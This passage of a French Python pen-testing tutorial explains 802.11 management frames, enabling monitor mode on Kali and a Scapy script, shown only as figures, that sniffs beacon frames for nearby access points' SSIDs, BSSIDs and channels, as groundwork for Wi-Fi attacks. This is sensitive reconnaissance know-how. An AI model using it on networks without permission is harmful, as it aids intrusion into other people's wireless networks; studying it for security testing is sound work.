Dans le passé, il y avait beaucoup de langages de programmation que vous pouviez utiliser pour créer vos propres outils de test

d'intrusion, mais il y en avait généralement un qui était le plus populaire et était votre premier choix lorsque vous envisagiez de choisir un

langage de programmation pour faire un test d'intrusion. outils, comme Perl. Dernièrement, les langages de programmation comme

Python et Ruby ont été largement adoptés et ont prouvé leur utilité.

Dans cet article, nous allons essayer de faire la lumière sur certains des avantages et des fonctionnalités de Python. Nous diviserons l'article en

deux parties; la première partie abordera l'utilisation pratique de Python pour effectuer des attaques Wi-Fi, la deuxième partie utilisera Python

pour effectuer le développement d'exploit.

J'essaierai de tout expliquer en détail. Mais pour être honnête, vous devez être conscient de certaines choses pour ne rien
manquer.

Introduction:

Avec chaque jour qui passe, la communauté de la connectivité sans fil s'est développée, mais elle a également inauguré de nombreux

problèmes de sécurité. Avec la connectivité filaire, l'attaquant a besoin d'un accès physique pour se connecter et attaquer, mais dans le

cas de la connectivité sans fil, l'attaquant a besoin de la disponibilité du signal pour lancer une attaque. Avant de continuer, vous devez

connaître la terminologie utilisée:

Point d'accès (AP): Il s'agit d'un périphérique matériel réseau qui permet à un périphérique compatible Wi-Fi de se connecter à un réseau filaire.

Identificateur de l'ensemble de services (SSID): Il s'agit d'une séquence de 0 à 32 caractères alphanumériques. Il est utilisé comme identifiant pour un

réseau local sans fil et est destiné à être unique pour une zone particulière. Étant donné que cet identifiant doit souvent être entré manuellement dans

les appareils par un utilisateur humain, il s'agit souvent d'une chaîne lisible par l'homme et donc communément appelée "Nom de réseau".

Identification de l'ensemble de services de base (BSSID): Il s'agit de l'adresse MAC du point d'accès sans fil.

Le numéro de canal: Cela représente la plage de fréquence radio utilisée par AP pour la transmission.

Remarque: le numéro de canal peut être modifié en raison du réglage automatique du point d'accès. Donc, ne soyez pas
confus si vous avez vu le numéro de canal changer.

802.11: Fournit une bande passante jusqu'à 1-2 Mbps avec une bande de fréquence de 2,4 GHz. Tous les composants de 802.11 sont un ensemble de

contrôle d'accès au support (MAC) et de couche physique (PHY). La couche MAC est la sous-classe de la couche liaison de données.

Cadre: Il s'agit de l'unité de données de protocole (PDU) de la couche liaison de

données. Il existe trois principaux types de trames 802.11:

• Trame de données

310
Puissance de Python

• Cadre de contrôle

• Cadre de gestion

Ces cadres sont pris en charge par la couche MAC. La figure suivante représente le format de la couche MAC:

(Figure 01). Format MAC

Comme vous pouvez le voir sur la figure précédente, il existe trois adresses:

• Adresse 1: c'est l'adresse MAC du client.

• Address2: C'est l'adresse MAC de l'AP.

• Address3: C'est l'adresse MAC de la source de transmission.

Dans cet article, nous nous concentrerons sur le «cadre de gestion». Maintenant, voyons la trame transmise entre le client et AP:

(Figure 02). Cadres transmis

Dans la figure précédente, nous pouvons voir l'échange de cadres. Jetons un coup d'œil aux sous-types de cadre de gestion:

• Balise: Le point d'accès (point d'accès) envoie périodiquement une trame de balise pour annoncer sa présence et relayer les

informations, telles que l'horodatage, le SSID, etc.

• Demande de sonde: Le périphérique sans fil (client) envoie une demande de sonde pour déterminer quels points d'accès sont à
portée.

• Réponse de la sonde: En réponse à la demande de sonde, une station (AP) répond avec une trame de réponse de sonde, contenant des

informations de capacité, des débits de données pris en charge, etc.

311
Puissance de Python

• Demande d'authentification: Le client envoie une trame de demande d'authentification contenant son identité.

• Réponse d'authentification: L'AP répond par l'acceptation ou le rejet de l'identité du client.

• Demande d'association: Après une authentification réussie, le client envoie une demande d'association qui contient ses
caractéristiques, telles que les débits de données pris en charge et le SSID de l'AP.

• Réponse de l'association: AP envoie une réponse d'association qui contient l'acceptation ou le rejet. En cas
d'acceptation, l'AP créera un ID d'association pour le client.

• Demande de réassociation: Si un client s'éloigne du point d'accès actuellement associé et trouve un autre point
d'accès ayant un signal de balise plus fort, le NIC radio enverra une trame de réassociation au nouveau point d'accès.

• Réponse de réassociation: Un point d'accès envoie une trame de réponse de réassociation contenant un avis d'acceptation
ou de rejet au NIC radio demandant la réassociation.

• Dissociation: Une station envoie une trame de dissociation à une autre station si elle souhaite terminer
l'association.

• Désauthentification: Une station envoie une trame de désauthentification à une autre station si elle souhaite mettre fin aux

communications sécurisées.

Maintenant, il est temps pour la partie pratique. Dans la partie suivante, nous verrons comment effectuer des attaques sans fil avec Python.

Nous utiliserons Kali comme système d'exploitation pour travailler avec ces attaques. Si vous utilisez Kali comme hôte sur votre ordinateur

physique ou portable, vous n'aurez aucun problème à effectuer ces attaques. Mais, si vous utilisez Kali comme machine virtuelle, vous

devez vous procurer un adaptateur sans fil USB, car la machine virtuelle n'utilise pas le matériel réel de l'adaptateur sans fil. Vous ne

pouvez pas contrôler l'adaptateur sans fil depuis la machine virtuelle.

Avant d'effectuer l'une de ces attaques, vous devez activer le mode moniteur sur votre interface sans fil avec ces
commandes:

(Figure 03). Liste des interfaces

312
Puissance de Python

Comme vous pouvez le voir sur la figure précédente, nous n'avons qu'une seule interface sans fil correspondant à "wlan0". Commençons par

activer le mode moniteur sur cette interface:

(Figure 04). Passage en mode moniteur

Génial. Nous avons activé avec succès le mode moniteur sur l'interface. Nous sommes maintenant prêts à écrire notre premier programme qui renifle le

SSID, le BSSID et le canal de l'AP.

Renifler les cadres de balise:

(Figure 05). Renifler les cadres de balise

Nous utilisons la première ligne pour indiquer au programme d'utiliser l'interpréteur Python. Ensuite, nous avons importé la bibliothèque Scapy et dans

la ligne suivante, nous avons également importé la bibliothèque Struct. Dans la ligne suivante, nous avons déclaré une liste vide à stocker, qui stockera

les adresses MAC des points d'accès. Ensuite, nous avons créé une nouvelle fonction nommée "info" qui prend un argument appelé "fm". Dans la ligne

suivante, nous faisons une condition pour rechercher uniquement les paquets Dot11. Dans la ligne numéro 8, nous pouvons voir que nous avons fait

une autre condition en utilisant le numéro "0" pour le type de paquet qui fait référence à "Management Frame Packets", et le numéro "8" pour le

sous-type des paquets qui indique "Beacon Frames" . Dans la ligne suivante, nous faisons une troisième condition pour vérifier si l'adresse MAC du

paquet de trames Beacon est déjà dans la liste ou non. Si l'adresse MAC ne fonctionne pas t existent dans notre liste, nous l'ajoutons à notre liste.

Ensuite, nous continuons en imprimant les informations que nous avons extraites du paquet qui indique ce qui suit:

fm.info: le SSID de l'AP. fm.addr2: L'adresse

MAC (BSSID).

ord (fm [Dot11Elt: 3] .info): ord est une fonction utilisée pour convertir des caractères de texte en sa représentation de code de caractère.

Pour comprendre ce qu'est Dot11Elt, vous devez savoir que lorsque les stations commencent à se parler, elles envoient également une

mine d'informations supplémentaires appelées éléments d'information. Chacun des paquets d'éléments d'information a un numéro

d'identification et chaque paquet spécifique a sa propre signification. Ce que nous recherchons, ce sont les informations

313

Vous aimerez peut-être aussi